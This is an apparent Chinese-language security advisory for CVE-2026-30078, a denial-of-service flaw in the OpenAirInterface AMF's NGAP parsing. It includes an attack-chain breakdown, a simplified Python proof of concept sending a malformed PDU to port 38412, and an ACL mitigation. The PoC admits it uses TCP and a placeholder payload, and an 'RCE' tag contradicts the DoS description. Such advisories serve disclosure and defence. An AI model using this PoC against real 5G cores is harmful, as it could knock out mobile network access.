IPBUF安全漏洞报告
English
CVE-2026-30078 CVSS 7.5 高危

CVE-2026-30078 OpenAirInterface AMF拒绝服务漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-30078
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenAirInterface

相关标签

拒绝服务DoSOpenAirInterface5GNGAPAMFRCE

漏洞概述

OpenAirInterface V2.2.0版本的AMF(接入和移动性管理功能)组件存在高危安全漏洞。该漏洞源于对NGAP协议消息的处理逻辑缺陷。攻击者无需认证即可通过网络向目标发送特制的NGAP消息,例如使用无效的过程代码或错误的PDU类型(如发送successfulOutcome而非InitiatingMessage)。成功利用该漏洞将直接导致AMF进程崩溃,引发拒绝服务,严重影响5G核心网的稳定性。

技术细节

该漏洞位于OpenAirInterface AMF模块的NGAP(Next Generation Application Protocol)消息解析逻辑中。NGAP协议是5G核心网与无线接入网(RAN)之间通信的关键接口。在正常通信流程中,消息必须严格遵循特定的状态机和类型规范。漏洞触发点在于AMF未能正确校验接收到的NGAP消息的PDU类型及过程代码。具体而言,当攻击者向AMF发送特制的畸形数据包,例如在协议规范要求InitiatingMessage的场景下,恶意发送successfulOutcome类型的消息时,AMF的解析器无法处理这种逻辑冲突。这导致了未处理的异常或空指针引用,最终使AMF进程崩溃并重启。鉴于攻击者无需具备任何权限且无需用户交互,仅需网络可达性即可触发漏洞,这对部署了该版本的5G网络构成了严重的可用性威胁。

攻击链分析

STEP 1
侦察
攻击者扫描网络,识别出OpenAirInterface AMF服务的IP地址和开放端口(通常为SCTP端口38412)。
STEP 2
武器化
攻击者构造特制的NGAP协议数据包,将PDU类型设置为successfulOutcome,但内容或上下文不符合当前预期的InitiatingMessage要求。
STEP 3
投递
攻击者通过网络将畸形数据包发送给目标AMF组件,无需任何身份认证。
STEP 4
利用
目标AMF接收到消息后,解析器因无法处理错误的PDU类型逻辑,触发内部异常。
STEP 5
影响
AMF进程崩溃并退出,导致5G核心网的接入和移动性管理功能中断,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct # This PoC demonstrates sending a malformed NGAP message to trigger the crash. # Note: Real NGAP runs over SCTP, this is a simplified TCP/Socket representation. TARGET_IP = "192.168.1.100" TARGET_PORT = 38412 # Typical AMF SCTP port (example using TCP for simplicity) def create_malformed_ngap(): # NGAP Message PDU type for SuccessfulOutcome is 1 (binary) # InitiatingMessage is 0. # The vulnerability occurs when the process expects 0 but receives 1. # This is a placeholder for the actual ASN.1 encoded structure. # NGAP PDU structure (simplified) pdu_type_successful_outcome = 0b00000001 # Construct a raw byte stream mimicking a SuccessfulOutcome message # where an InitiatingMessage is expected. payload = struct.pack('>B', pdu_type_successful_outcome) payload += b"\x00" * 10 # Padding to simulate message length return payload def send_exploit(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) payload = create_malformed_ngap() print(f"[*] Sending malformed NGAP message (Length: {len(payload)})...") s.send(payload) print("[*] Exploit sent. Check if AMF crashed.") s.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": send_exploit()

影响范围

OpenAirInterface AMF V2.2.0

防御指南

临时缓解措施
在未升级补丁前,建议通过网络访问控制列表(ACL)限制仅允许信任的gNodeB(基站)IP地址连接到AMF端口,阻断来自互联网或未授权网段的恶意流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表